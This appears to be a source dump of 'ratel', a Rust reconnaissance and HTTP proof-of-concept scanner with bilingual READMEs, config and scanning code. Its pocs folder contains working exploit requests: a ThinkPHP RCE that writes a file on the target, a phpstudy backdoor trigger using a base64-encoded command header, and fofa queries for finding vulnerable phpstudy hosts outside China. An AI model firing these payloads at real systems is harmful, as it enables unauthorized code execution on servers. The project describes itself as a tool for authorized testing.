├── img
├── config.JPG
└── usage.JPG
├── pocs
├── test.txt
├── phpstudy.txt
├── thinkphp.json
├── envleak.json
├── phpstudy.json
└── pocs-example.json
├── Cargo.toml
├── config
├── src
├── ports_parser
│ └── mod.rs
├── active
│ └── mod.rs
├── result_struct
│ └── mod.rs
├── main.rs
├── lib.rs
├── http_banner
│ └── mod.rs
├── passive
│ └── mod.rs
└── detect_mod
│ └── mod.rs
├── README_zh.md
├── README.md
└── Cargo.lock
/img/config.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/h4cnull/ratel/HEAD/img/config.JPG
--------------------------------------------------------------------------------
/img/usage.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/h4cnull/ratel/HEAD/img/usage.JPG
--------------------------------------------------------------------------------
/pocs/test.txt:
--------------------------------------------------------------------------------
1 | python3 -m http.server --bind 127.0.0.1
2 |
3 | pocs-example.json "multi req"
4 |
5 | xxx
6 | regex2
--------------------------------------------------------------------------------
/pocs/phpstudy.txt:
--------------------------------------------------------------------------------
1 | "Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45" && country!="CN" && region!="HK"
2 | "Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" && country!="CN" && region!="HK"
--------------------------------------------------------------------------------
/pocs/thinkphp.json:
--------------------------------------------------------------------------------
1 | {
2 | "pocs": [
3 | {
4 | "name": "thinkphp rce",
5 | "level": 5,
6 | "requests": [
7 | {
8 | "path_args": "/index.php?a=fetch&content==file_put_contents(\"info.php\",\"\");?>",
9 | "rules": {
10 | "status_code": 200
11 | }
12 | },
13 | {
14 | "path_args": "/info.php",
15 | "rules": {
16 | "status_code": 200,
17 | "body": [
18 | "PHP Version"
19 | ]
20 | }
21 | }
22 | ]
23 | }
24 | ]
25 | }
--------------------------------------------------------------------------------
/pocs/envleak.json:
--------------------------------------------------------------------------------
1 | {
2 | "pocs":[
3 | {
4 | "name":"env root",
5 | "requests":[
6 | {
7 | "rules":{
8 | "body":["APP_ENV="]
9 | }
10 | }
11 | ]
12 | },
13 | {
14 | "name":"env /.env",
15 | "requests":[
16 | {
17 | "path_args":"/.env",
18 | "rules":{
19 | "body":["APP_ENV="]
20 | }
21 | }
22 | ]
23 | }
24 | ]
25 | }
--------------------------------------------------------------------------------
/pocs/phpstudy.json:
--------------------------------------------------------------------------------
1 | {
2 | "pocs": [
3 | {
4 | "name": "phpstudy backdoor",
5 | "level": 5,
6 | "requests": [
7 | {
8 | "headers": {
9 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27",
10 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
11 | "accept-charset": "ZWNobyBhb2xpZ2VpZWllaWVpOw==",
12 | "Accept-Encoding": "gzip,deflate",
13 | "Accept-Language": "zh-CN,zh;q=0.9"
14 | },
15 | "rules": {
16 | "body": [
17 | "aoligeieieiei"
18 | ]
19 | }
20 | }
21 | ]
22 | }
23 | ]
24 | }
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "ratel"
3 | version = "2.0.2"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | clap = "2"
10 | toml = "0.5"
11 | itertools = "0.10.1"
12 | serde = { version = "1.0", features = ["derive"] }
13 | regex = "1.5.4"
14 | x509-parser = "0.12.0"
15 | async-std = { version = "1", features = ["attributes", "tokio1"] }
16 | futures = "0.3.17"
17 | async-native-tls = "0.3.3"
18 | serde_json = "1.0.79"
19 | reqwest = { version = "0.11", features = ["blocking", "json", "native-tls"] }
20 | dns-lookup = "1.0.8"
21 | cidr-utils = "0.5.5"
22 | base64 = "0.13"
23 | murmur3 = "0.5.1"
24 | chrono = "0.4.19"
25 | rand = "0.8.4"
26 | urlencoding = "1.0.0"
27 | encoding_rs = "0.8.30"
28 | csv = "1.1.6"
29 | http-types = { version = "2.12.0", default-features = false }
30 | tokio = { version = "1.0", features = ["full"] }
31 | async_chunked_transfer = "1.4.0"
32 | tokio-native-tls = "0.3.0"
33 | httparse = "1.3.4"
34 |
35 | [profile.release]
36 | panic = 'abort'
37 | lto = true
38 | opt-level = 'z'
39 | codegen-units = 1
--------------------------------------------------------------------------------
/config:
--------------------------------------------------------------------------------
1 | #toml config file
2 | fofa_enable = true
3 | fofa_email = ''
4 | fofa_key = ''
5 | fofa_per_page_size = 1000
6 | fofa_timeout = 10
7 | fofa_retry_delay = 1
8 | fofa_delay = 0 #second
9 |
10 | zoomeye_enable = true
11 | zoomeye_keys = []
12 | #zoomeye_keys = ['key1','key2']
13 | zoomeye_timeout = 10
14 | zoomeye_delay = 2 #second
15 |
16 | auto_web_filter = true #搜索cidr时自动添加http过滤条件
17 | passive_retries = 3
18 |
19 | default_scanports = '80-89,443,666,888,1000-1010,6000-6010,6666,7000-7010,8000-8100,8800-8890,9000-9010,9999,60000-60001,65535'
20 | async_scan_limit = 800
21 |
22 | conn_timeout = 2500 #millisecond
23 | conn_retries = 1 #主动扫描重试次数,确保可靠性
24 |
25 | http_timeout = 15 #second
26 | follow_redirect = true #仅影响http banner探测时是否跟随重定向。
27 |
28 | default_pocs_json_path = 'fingers.json'
29 | detect_limit = 100 # 不同ip:port地址探测时的并发数量限制
30 | per_url_limit = 10 # 每个url进行poc验证时的并发数量限制,过高的数量可能被waf封锁
31 |
32 | #注意limit值过高会超过io瓶颈,影响准确性,http探测默认100*10,探测并发不超过1000。在linux下值过高可能会出现too many open files!,需更改linux配置。
33 |
34 | print_level = 0 #打印级别,可访问http资产level默认为0。poc的level默认为1。
35 | output_encode = 'gbk' #utf-8 windows-1250 iso-8859-16 etc...
--------------------------------------------------------------------------------
/pocs/pocs-example.json:
--------------------------------------------------------------------------------
1 | {
2 | "pocs": [
3 | {
4 | "name": "xxx-RCE",
5 | "level": 5,
6 | "requests": [
7 | {
8 | "method": "POST",
9 | "req_body": "xx$HOST$x",
10 | "headers": {"Cookie": "x$HOST$xx","cmd": "echo hellorec","connection":"Clo"},
11 | "rules": {
12 | "header": ["aaa","bbb"],
13 | "body": ["hellorec","world"]
14 | }
15 | }
16 | ]
17 | },
18 | {
19 | "name": "Directory list",
20 | "requests": [
21 | {
22 | "rules": {
23 | "body": ["Directory listing for"],
24 | "status_code": 200
25 | }
26 | }
27 | ]
28 | },
29 | {
30 | "name": "DrayWebServer hash",
31 | "requests": [
32 | {
33 | "rules": {
34 | "favicon": 1013918534
35 | }
36 | }
37 | ]
38 | },
39 | {
40 | "name": "multi req",
41 | "requests": [
42 | {
43 | "path_args": "/$HOST$"
44 | },
45 | {
46 | "delay":1500,
47 | "path_args": "/test.txt",
48 | "variables_regex": "token=\"(.*?)\" id=\"(.*?)\".*?(regex2)",
49 | "regex_dot_all": true,
50 | "variables_group": [["$token$",1],["$id$",2],["rqa234asf",3]],
51 | "rules": {
52 | "status_code": 200
53 | }
54 | },
55 | {
56 | "path_args": "/req2/$id$/rqa234asf?token=$token$",
57 | "method": "POST",
58 | "req_body": "token=$token$&id=$id$",
59 | "rules": {
60 | "status_code": 501
61 | }
62 | }
63 | ]
64 | }
65 | ]
66 | }
--------------------------------------------------------------------------------
/src/ports_parser/mod.rs:
--------------------------------------------------------------------------------
1 | use regex::Regex;
2 | use itertools::Itertools;
3 |
4 | pub struct PortsParser {
5 | num_reg:Regex,
6 | range_reg:Regex,
7 | }
8 |
9 | impl PortsParser {
10 | pub fn new()-> PortsParser {
11 | PortsParser { num_reg: Regex::new(r"^\d+$").unwrap(),
12 | range_reg: Regex::new(r"^\d+\-\d+$").unwrap(),
13 | }
14 | }
15 |
16 | pub fn parse_ports_string(&self,ports_str:&str) ->Result,&'static str> {
17 | let mut ports:Vec = Vec::new();
18 | let str_split:Vec<&str> = ports_str.split(',').collect();
19 | for str in str_split {
20 | if self.num_reg.is_match(str) {
21 | if let Ok(num) = str.parse::() {
22 | //if !ports.contains(&num) { //太占用资源了
23 | ports.push(num);
24 | } else {
25 | return Err("got a invalid port number");
26 | }
27 | } else if self.range_reg.is_match(str) {
28 | let start_end:Vec<&str> = str.split('-').collect();
29 | let start = start_end[0].parse::();
30 | let end = start_end[1].parse::();
31 | if start.is_err() || end.is_err() {
32 | return Err("got a invalid port number");
33 | } else {
34 | let mut start = start.unwrap();
35 | let end = end.unwrap();
36 | if start < end {
37 | if start == 0 {
38 | start += 1
39 | }
40 | for i in start..=end {
41 | ports.push(i);
42 | }
43 | } else {
44 | return Err("got a invalid port range");
45 | }
46 | }
47 | } else {
48 | return Err("got a invalid port format");
49 | }
50 | }
51 | let ports:Vec<_> = ports.into_iter().unique().collect();
52 | Ok(ports)
53 | }
54 | }
--------------------------------------------------------------------------------
/README_zh.md:
--------------------------------------------------------------------------------
1 | ### 中文 [English](README.md)
2 |
3 | ### 简介
4 |
5 | ratel(獾) 是一个由rust开发的信息搜集工具,专注web资产发现,支持从fofa,zoomeye API查询,提供详细的配置参数,可靠,可以从错误中恢复查询,自动去重。同时也支持主动扫描端口,探测http,提取https证书中域名。ratel 提供细粒度的http poc探测模块,支持多请求的poc,利用自定义正则表达式提取响应内容并作为后续请求的变量。ratel输出格式为csv。
6 |
7 | ### 用法和特性
8 |
9 |
10 |
11 | 注意:-s 被动搜集,从fofa,zoomeye api查询关键字,支持fofa,zoomeye语法,需注意命令行字符转义。-t 主动扫描。-f 需要--passive,--active,--urls,--recovery区分模式,-i从stdin读取,或者管道,同-f需要模式区分。ratel运行时会把需要注意的信息记录在xxx_notice.txt中,可以通过--recovery恢复notice中的错误记录。目前通过fofa接口查询,如果查询的结果包含有敏感资产,会导致整页无返回数据,只能减少fofa每页查询数量。ratel可以通过--recovery和--fofa-size减少每页数量来查询遗漏的数据。
12 | ratel的输出是csv格式,所有和输入域名、IP相同的资产其is_assert字段标记为TRUE,以方便筛选搜集的资产信息。
13 |
14 | ratel从配置文件中读取fofa和zoomeye API key,如果不存在config文件则会自动生成。
15 |
16 |
17 |
18 | 你可以设置多个zoomeye key,如果key没有额度了会自动使用下一个key。conn_timeout为端口扫描、http连接超时时间,http_timeout为http连接成功至读取完成的超时时间。
19 |
20 | ratel提供细粒度的http poc探测模块。如下:
21 |
22 | ```text
23 | {
24 | "pocs": [
25 | {
26 | "name": "multi request poc", //必须指定
27 | "author": "h4cnull",
28 | "level": "5", //u8类型:0-255,指示该poc的级别,非必须,默认1。结合config中的print_level,可以在运行时只打印重要的信息。
29 | "requests": [ //请求列表,必须
30 | { //请求中的字段都是非必须
31 | "path_args": "/$HOST$" //请求路径和参数,非必须,默认 /,$HOST$是特殊变量,值为当前请求的host(ip或域名)。使用该变量方便进行大量OOB测试时区分漏洞主机。
32 | },
33 | {
34 | "delay":1500, //延迟1500毫秒请求
35 | "method":"GET", //请求方法,非必须,默认 GET,还支持POST HEAD DELETE PATCH OPTIONS TRACE方法
36 | "path_args": "/test.txt",
37 | "variables_regex": "token=\"(.*?)\" id=\"(.*?)\".*?(regex2)", //匹配响应内容的正则表达式
38 | "regex_dot_all": true, // .是否匹配所有字符
39 | "variables_group": [["$token$",1],["$id$",2],["Variable3",3]], //用在后续请求的变量,以及变量在正则表达式中的分组。
40 | "rules": { //匹配规则,非必须,不指定说明该请求默认成功。
41 | "status_code": 200
42 | }
43 | },
44 | //如果没有指定 method, path_args, headers, req_body,ratel不会重复发起请求,而是使用默认的根请求结果(请考虑follow_redirect配置的影响)做poc匹配。
45 | {
46 | "path_args": "/req3/$id$/Variable3?token=$token$", //变量可以设置在path_args,headers,req_body。
47 | "method": "POST",
48 | "headers": {"Cookie": "token=$token$"},
49 | "req_body": "id=$id$",
50 | "rules": {
51 | "status_code": 501
52 | }
53 | },
54 | {
55 | "path_args": "/$id$/", //变量可以一直使用,可用新的正则表达式匹配更新变量值
56 | "rules": {
57 | "header":["x1","x2"], //status_code,header,body,favicon,它们之间为“与”关系。body和header是关键词列表,关键词之间也是“与”关系。
58 | "body":["x3"],
59 | "favicon": -113918534
60 | }
61 | }
62 | ]
63 | },
64 | ...
65 | ]
66 | }
67 | ```
68 |
69 | 你可以使用poc模块实现指纹探测,漏洞扫描。项目提供的指纹探测文件fingers.json,主要提取自EHole, 以及部分作者补充的。
70 |
71 | ### 声明
72 |
73 | 本项目源代码开放,你可以自由使用和更改代码,但仅可用于**合法的**用途。在使用本项目编译后的工具进行检测时,你应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标使用**。你需自行承担使用本项目代码和工具的任何后果,本人将不承担任何法律及连带责任。
74 |
--------------------------------------------------------------------------------
/src/active/mod.rs:
--------------------------------------------------------------------------------
1 | use std::net::{ToSocketAddrs,Shutdown};
2 | use std::time::Duration;
3 | use async_std::io;
4 | use async_std::net::TcpStream;
5 |
6 | use cidr_utils::num_bigint::{BigUint,ToBigUint};
7 | use cidr_utils::cidr::{IpCidr,IpCidrIpAddrIterator};
8 |
9 | use super::ActiveRecord;
10 |
11 | #[derive(Clone)]
12 | pub struct Host {
13 | pub host:String,
14 | pub ip:String
15 | }
16 |
17 | pub struct TargetIter {
18 | hosts: Vec,
19 | hosts_index: usize,
20 | hosts_len: usize,
21 | cidr_iters: Vec,
22 | cidr_iters_index: usize,
23 | cidr_iters_len: usize,
24 | cidrs_backup: Vec,
25 | total:BigUint
26 | }
27 |
28 | impl TargetIter {
29 | pub fn new() -> TargetIter {
30 | TargetIter {
31 | hosts: vec![],
32 | hosts_index: 0,
33 | hosts_len: 0,
34 | cidr_iters: vec![],
35 | cidr_iters_index: 0,
36 | cidr_iters_len: 0,
37 | cidrs_backup: vec![],
38 | total:0.to_biguint().unwrap()
39 | }
40 | }
41 |
42 | pub fn append(&mut self,host:Host) { //append ip或者域名前 先进行dns解析!
43 | self.hosts.push(host);
44 | self.hosts_len += 1;
45 | self.total += (1 as usize).to_biguint().unwrap();
46 | }
47 |
48 | pub fn append_cidr(&mut self,cidr:IpCidr) {
49 | let cidr_backup = cidr.clone();
50 | self.total += cidr.size();
51 | self.cidr_iters.push(cidr.iter());
52 | self.cidrs_backup.push(cidr_backup);
53 | self.cidr_iters_len += 1;
54 | }
55 |
56 | pub fn reset(&mut self) {
57 | self.hosts_index = 0;
58 | self.cidr_iters_index = 0;
59 | let mut tmp = Vec::new();
60 | for cidr in self.cidrs_backup.iter() {
61 | let cidr = cidr.clone();
62 | tmp.push(cidr.iter());
63 | }
64 | self.cidr_iters_len = tmp.len();
65 | self.cidr_iters = tmp;
66 | }
67 | pub fn total(&self)-> &BigUint {
68 | &self.total
69 | }
70 | }
71 |
72 | impl Iterator for TargetIter {
73 | type Item = Host;
74 | fn next(&mut self) -> Option{
75 | if self.hosts_index < self.hosts_len {
76 | let host = (&self.hosts[self.hosts_index]).clone();
77 | self.hosts_index += 1;
78 | return Some(host.clone());
79 | } else {
80 | if self.cidr_iters_index < self.cidr_iters_len {
81 | if let Some(addr) = self.cidr_iters[self.cidr_iters_index].next() {
82 | return Some(
83 | Host {
84 | host: addr.to_string(),
85 | ip: addr.to_string()
86 | }
87 | );
88 | } else {
89 | self.cidr_iters_index += 1;
90 | return self.next();
91 | }
92 | } else {
93 | return None;
94 | }
95 | }
96 | }
97 | }
98 |
99 | pub struct ActiveRecordIter {
100 | target_iter: TargetIter,
101 | ports: Vec,
102 | ports_index: usize,
103 | ports_len: usize
104 | }
105 |
106 | impl ActiveRecordIter {
107 | pub fn new(target_iter:TargetIter,ports:Vec) -> Option {
108 | //overflowed its stack
109 | if target_iter.total() == &0.to_biguint().unwrap() {
110 | return None;
111 | };
112 | let ports_len = ports.len();
113 | Some(ActiveRecordIter {
114 | target_iter,
115 | ports,
116 | ports_index: 0,
117 | ports_len
118 | })
119 | }
120 | }
121 |
122 | impl Iterator for ActiveRecordIter {
123 | type Item = ActiveRecord;
124 | fn next(&mut self) -> Option {
125 | if self.ports_index < self.ports_len {
126 | let port = self.ports[self.ports_index];
127 | if let Some(target) = self.target_iter.next() {
128 | return Some(ActiveRecord {
129 | host:target.host,
130 | ip:target.ip,
131 | port
132 | });
133 | } else {
134 | self.target_iter.reset();
135 | self.ports_index += 1;
136 | return self.next();
137 | }
138 | } else {
139 | return None;
140 | }
141 | }
142 | }
143 |
144 | pub async fn scan_port(record:ActiveRecord,timeout:Duration,tries:u8) -> Option {
145 | let addr = format!("{}:{}",record.ip,record.port);
146 | let mut socket_addrs = addr.to_socket_addrs().unwrap(); //record确保ip和port合法
147 | let socket_addr = socket_addrs.next().unwrap();
148 | let mut try_num = 0;
149 | let mut rst: Option = None;
150 | loop {
151 | try_num += 1;
152 | match io::timeout(timeout,TcpStream::connect(socket_addr)).await {
153 | Ok(stream) => {
154 | let _ = stream.shutdown(Shutdown::Both);
155 | rst = Some(record);
156 | break;
157 | },
158 | Err(e) => {
159 | if try_num > tries {
160 | //输出非time out的错误
161 | //if e.to_string().contains("future timed out") {
162 | if e.to_string().to_lowercase().contains("too many open files") {
163 | println!("[!] Active scan error: {} {}",socket_addr.to_string(),e.to_string());
164 | //linux下错误中如果包含"too many open files", socket过多,提示减少limit数量,windows下错误信息待测。
165 | }
166 | break;
167 | }
168 | },
169 | };
170 | }
171 | return rst;
172 | }
173 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | English [中文](README_zh.md)
2 |
3 | ### Introduction
4 |
5 | ratel is an information gathering tool developed in Rust, focusing on web asset discovery. It supports querying from the fofa and zoomeye APIs, providing detailed configuration parameters, reliability, recovery from errors in queries, and automatic deduplication. It also supports actively scanning ports, detecting HTTP, and extracting domain names from HTTPS certificates. ratel offers a fine-grained HTTP POC detection module, supporting multi-request POCs, utilizing custom regular expressions to extract response content and use it as variables for subsequent requests. The output format of ratel is CSV.
6 |
7 | ### Usage and Features
8 |
9 |
10 |
11 | Note: -s stands for passive collection, querying keywords from fofa and zoomeye APIs, supporting fofa and zoomeye syntax, requiring attention to command line character escaping. -t stands for active scanning. -f requires distinguishing modes with --passive, --active, --urls, --recovery. -i reads from stdin or uses a pipe, similar to -f requiring mode distinction. During ratel runtime, noteworthy information will be recorded in xxx_notice.txt, which can be recovered from errors recorded in notice using --recovery. Currently, when querying through the fofa interface, if the results contain sensitive assets, it may result in no data being returned for the entire page, only reducing the number of fofa queries per page. Ratel can reduce the number of pages queried by --recovery and --fofa-size to search for missing data.
12 | Ratel outputs in CSV format, with the is_assert field marked as TRUE for all assets identical to the input domain name or IP, making it convenient to filter collected asset information.
13 |
14 | Ratel reads fofa and zoomeye API keys from the configuration file, and if the config file does not exist, it will be generated automatically.
15 |
16 |
17 |
18 | You can set multiple Zoomeye keys, and if one key runs out of quota, the next key will be automatically used.`conn_timeout` refers to the timeout period for port scanning and HTTP connection establishment, while `http_timeout` refers to the timeout period from successful HTTP connection establishment to completion of reading.
19 |
20 | Ratel provides a fine-grained HTTP POC (Proof of Concept) detection module as follows:
21 |
22 | ```text
23 | {
24 | "pocs": [
25 | {
26 | "name": "multi request poc", // needed
27 | "author": "h4cnull",
28 | "level": "5", // The level is "u8" type, indicates the level of this point of contact (POC), optional, default is 1. Combined with the "print_level" in the config, it allows printing only important information during runtime.
29 | "requests": [ // Request link, needed. Fields in the request are all optional.
30 | {
31 | "path_args": "/$HOST$" // Request path and parameters, default /, $HOST$ is a special variable with a value equal to the current request's host (IP or domain name). Utilizing this variable makes it easier to differentiate vulnerable hosts during extensive out-of-band (OOB) testing.
32 | },
33 | {
34 | "delay":1500, // Request with a delay of 1500 milliseconds
35 | "method":"GET", // Request method, default is GET, also supports POST, HEAD, DELETE, PATCH, OPTIONS, TRACE methods.
36 | "path_args": "/test.txt",
37 | "variables_regex": "token=\"(.*?)\" id=\"(.*?)\".*?(regex2)", // Regular expression to match response content.
38 | "regex_dot_all": true, //Does the dot "." match all characters
39 | "variables_group": [["$token$",1],["$id$",2],["Variable3",3]], // Variables used in subsequent requests, as well as groups in regular expressions where variables are used.
40 | "rules": { // Matching rules, optional. If not specified, the request is considered successful by default.
41 | "status_code": 200
42 | }
43 | },
44 | // If the method, path_args, headers, and req_body are not specified, ratel will not resend the request. Instead, it will use the default root request result for POC matching (considering the impact of the follow_redirect configuration).
45 | {
46 | "path_args": "/req3/$id$/Variable3?token=$token$", // Variables can be set in path_args, headers and req_body.
47 | "method": "POST",
48 | "headers": {"Cookie": "token=$token$"},
49 | "req_body": "id=$id$",
50 | "rules": {
51 | "status_code": 501
52 | }
53 | },
54 | {
55 | "path_args": "/$id$/", // Variables can be continuously utilized, and their values can be updated by matching with new regular expressions.
56 | "rules": {
57 | "header":["x1","x2"], // The status_code, header, body and favicon, They have an "AND" relationship between them. "Body" and "header" are keyword lists, and keywords within them also have an "AND" relationship. If you need an "OR" relationship, you can create a separate POC.
58 | "body":["x3"],
59 | "favicon": -113918534
60 | }
61 | }
62 | ]
63 | },
64 | ...
65 | ]
66 | }
67 | ```
68 |
69 | You can use the POC module to implement fingerprint detection and vulnerability scanning. The project provides a fingerprint detection file called fingers.json, primarily extracted from "EHole", supplemented by contributions from various authors.
70 |
71 | ### Statemen
72 |
73 | The source code of this project is open and you are free to use and modify the code, but only for**legal** purposes. When using tools compiled from this project for testing, you should ensure that such actions comply with local laws and regulations, and that you have obtained sufficient authorization.**Do not use it against unauthorized targets** . You are responsible for any consequences of using this project's code and tools, and I will not bear any legal or joint liability.
74 |
--------------------------------------------------------------------------------
/src/result_struct/mod.rs:
--------------------------------------------------------------------------------
1 | use std::net::ToSocketAddrs;
2 | use std::cmp::PartialEq;
3 |
4 | #[derive(PartialEq)]
5 | pub enum RecordType {
6 | Active,
7 | Passive,
8 | Other
9 | }
10 |
11 | pub trait Record {
12 | fn record(&self) -> Option;
13 | fn record_type(&self) -> RecordType; //主动扫描结果,需要发送到result进行盲识别(强制视为http或https)
14 | fn title(&self) -> &str {
15 | ""
16 | }
17 | fn host(&self) -> &str {
18 | ""
19 | }
20 | fn ip(&self) -> &str {
21 | ""
22 | }
23 | fn port(&self) -> u16 {
24 | 0
25 | }
26 | fn protocol(&self) -> &str {
27 | ""
28 | }
29 | fn cert_domains(&mut self) -> Option> {
30 | None
31 | }
32 | }
33 |
34 | pub enum OtherRecordInfo {
35 | NoOpenPort(String),
36 | UnknownHost(String),
37 | ErrorPage(String),
38 | BreakPage(String),
39 | FofaNoResult(String),
40 | FofaSensitive(String),
41 | ZoomeyeNoResult(String),
42 | Padding
43 | }
44 | pub struct OtherRecord {
45 | info:OtherRecordInfo
46 | }
47 |
48 | impl OtherRecord {
49 | pub fn new(info: OtherRecordInfo) -> OtherRecord {
50 | OtherRecord {
51 | info
52 | }
53 | }
54 | }
55 |
56 | pub static NO_OPEN_PORT:&'static str = "no open port: ";
57 | pub static UNKNOWN_HOST:&'static str = "unknown host: ";
58 | pub static ERROR_PAGE:&'static str = "error page: ";
59 | pub static BREAK_PAGE:&'static str = "break page: ";
60 | pub static FOFA_NO_RESULT:&'static str = "fofa no result: ";
61 | pub static FOFA_SENSITIVE:&'static str = "fofa sensitive keyword: ";
62 | pub static ZOOMEYE_NO_RESULT:&'static str = "zoomeye no result: ";
63 |
64 | impl Record for OtherRecord {
65 | fn record(&self) -> Option {
66 | match &self.info {
67 | OtherRecordInfo::NoOpenPort(info) => Some(format!("{}{}",NO_OPEN_PORT,info)),
68 | OtherRecordInfo::UnknownHost(info)=> Some(format!("{}{}",UNKNOWN_HOST,info)),
69 | OtherRecordInfo::ErrorPage(info) => Some(format!("{}{}",ERROR_PAGE,info)),
70 | OtherRecordInfo::BreakPage(info) => Some(format!("{}{}",BREAK_PAGE,info)),
71 | OtherRecordInfo::FofaNoResult(info) => Some(format!("{}{}",FOFA_NO_RESULT,info)),
72 | OtherRecordInfo::FofaSensitive(info) => Some(format!("{}{}",FOFA_SENSITIVE,info)),
73 | OtherRecordInfo::ZoomeyeNoResult(info) => Some(format!("{}{}",ZOOMEYE_NO_RESULT,info)),
74 | OtherRecordInfo::Padding => None
75 | }
76 | }
77 | fn record_type(&self) -> RecordType {
78 | RecordType::Other
79 | }
80 | }
81 |
82 | pub struct ActiveRecord {
83 | pub host:String,
84 | pub ip:String,
85 | pub port:u16,
86 | }
87 |
88 | #[derive(Debug)]
89 | pub struct PassiveRecord {
90 | pub title:String,
91 | pub host:String,
92 | pub ip:String,
93 | pub port:u16,
94 | pub protocol:String,
95 | pub cert_domains: Option>
96 | }
97 |
98 | impl Record for ActiveRecord {
99 | fn record(&self) -> Option {
100 | Some(format!("{}:{}",&self.host,self.port))
101 | }
102 | fn record_type(&self) ->RecordType {
103 | RecordType::Active
104 | }
105 | fn host(&self) -> &str {
106 | &self.host
107 | }
108 | fn ip(&self) -> &str {
109 | &self.ip
110 | }
111 | fn port(&self) -> u16 {
112 | self.port
113 | }
114 | }
115 |
116 | impl Record for PassiveRecord {
117 | fn record(&self) -> Option {
118 | Some(format!("{}:{}",&self.host,self.port))
119 | }
120 | fn record_type(&self) -> RecordType {
121 | RecordType::Passive
122 | }
123 | fn title(&self) -> &str {
124 | &self.title
125 | }
126 | fn host(&self) -> &str {
127 | &self.host
128 | }
129 | fn ip(&self) -> &str {
130 | &self.ip
131 | }
132 | fn port(&self) -> u16 {
133 | self.port
134 | }
135 | fn protocol(&self) -> &str {
136 | &self.protocol
137 | }
138 | fn cert_domains(&mut self) -> Option> {
139 | self.cert_domains.take()
140 | }
141 | }
142 |
143 | //title,host,ip,port,protocol,url,infos,status_code,cert_domains,is_assets,level
144 |
145 | pub fn url_to_passive_record(url:&str)-> Option {
146 | let tmp = url.trim().split("://").collect::>();
147 | if tmp.len() == 2 {
148 | let host_tmp = tmp[1].split("/").collect::>()[0];
149 | let host_tmp = host_tmp.split(":").collect::>();
150 | let host = host_tmp[0].to_string();
151 | let (port,protocol) = match tmp[0] {
152 | "http" => {
153 | let port = if host_tmp.len() == 1 {
154 | 80
155 | } else {
156 | host_tmp[1].parse::().unwrap_or_else(|_|{ 0 })
157 | };
158 | (port,"http".to_string())
159 | },
160 | "https" => {
161 | let port = if host_tmp.len() == 1 {
162 | 443
163 | } else {
164 | host_tmp[1].parse::().unwrap_or_else(|_|{ 0 })
165 | };
166 | (port,"https".to_string())
167 | },
168 | _ => { return None; }
169 | };
170 | if port > 0 {
171 | let mut ip = "".to_string();
172 | let addr = format!("{}:{}", host, port);
173 | if let Ok(mut socket_addrs) = addr.to_socket_addrs() {
174 | let socket_addr = socket_addrs.next().unwrap();
175 | ip = socket_addr.ip().to_string()
176 | }
177 | return Some(PassiveRecord {
178 | title:"".to_string(),
179 | host,
180 | ip,
181 | port,
182 | protocol,
183 | cert_domains: None
184 | });
185 | } else {
186 | return None;
187 | }
188 | } else {
189 | return None;
190 | }
191 | }
192 |
193 | #[derive(Debug)]
194 | pub struct Data { //最终结果
195 | pub title:String,
196 | pub host:String,
197 | pub ip:String,
198 | pub port:u16,
199 | pub protocol:String,
200 | pub url:Option,
201 | pub infos:Vec, //cms midware vuln...
202 | pub status_code: u16, //http status code,存在则说明可访问
203 | pub cert_domains: Vec,
204 | pub is_assets: bool, //明确的资产
205 | pub favicon:Option,
206 | pub level: u8, //级别
207 | }
208 |
209 | #[derive(Debug)]
210 | pub struct NoNeedCheckDataCache {
211 | pub title:String,
212 | pub cert_domains: Vec
213 | }
214 |
215 | pub enum CellType<'a> {
216 | Str(&'a str),
217 | Strin(String),
218 | Num(u16),
219 | Boolean(bool)
220 | }
221 |
222 | use csv::{Writer,Reader};
223 | use std::error::Error;
224 |
225 | pub static RST_COLS:&[&str] = &["title","host","ip","port","protocol","url","status code","infos","cert domains","is_assets","favicon","level"];
226 |
227 | pub fn write_data_to_csv(wtr:&mut Writer>,data:&Data)->Result<(),Box> {
228 | wtr.write_field(&data.title)?;
229 | wtr.write_field(&data.host).unwrap();
230 | wtr.write_field(&data.ip).unwrap();
231 | wtr.write_field(data.port.to_string()).unwrap();
232 | wtr.write_field(&data.protocol).unwrap();
233 | wtr.write_field(if data.url.is_some() { data.url.as_ref().unwrap() } else {""}).unwrap();
234 | wtr.write_field(&data.status_code.to_string()).unwrap();
235 | wtr.write_field(&format!("{:?}",data.infos)).unwrap();
236 | wtr.write_field(&format!("{:?}",data.cert_domains)).unwrap();
237 | wtr.write_field(&data.is_assets.to_string()).unwrap();
238 | wtr.write_field( if data.favicon.is_some() {data.favicon.unwrap().to_string() } else { String::new() }).unwrap();
239 | wtr.write_field(&data.level.to_string()).unwrap();
240 | wtr.write_record(None::<&[u8]>).unwrap();
241 | wtr.flush().unwrap();
242 | Ok(())
243 | }
244 |
245 | pub fn read_csv_to_excludes(excludes:&mut String,ef:&str) {
246 | let csv_reader = Reader::from_path(&ef);
247 | match csv_reader {
248 | Ok(mut reader) => {
249 | let mut line_num = 1;
250 | for result in reader.records() {
251 | if line_num == 1 {
252 | line_num += 1;
253 | continue;
254 | }
255 | if let Ok(record) = result {
256 | let items = record.iter().collect::>();
257 | if items.len() >= 5 {
258 | let mut host_port = format!("{}:{} ",items[1],items[3]);
259 | let protocol = items[4];
260 | if protocol == "http" || protocol == "https" { //有的端口http https都可以访问,所以这里需要加上协议,否则可能跳过一些链接!
261 | host_port = format!("{}{}",protocol,host_port)
262 | }
263 | excludes.push_str(&host_port);
264 | }
265 | }
266 | // else {
267 | // println!("Read exclude file {} line {} error.",ef,line_num);
268 | //};
269 | }
270 | },
271 | Err(e) => {
272 | println!("[!] Read exclude file {} error:{:?}.",ef,e.kind());
273 | }
274 | };
275 | }
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
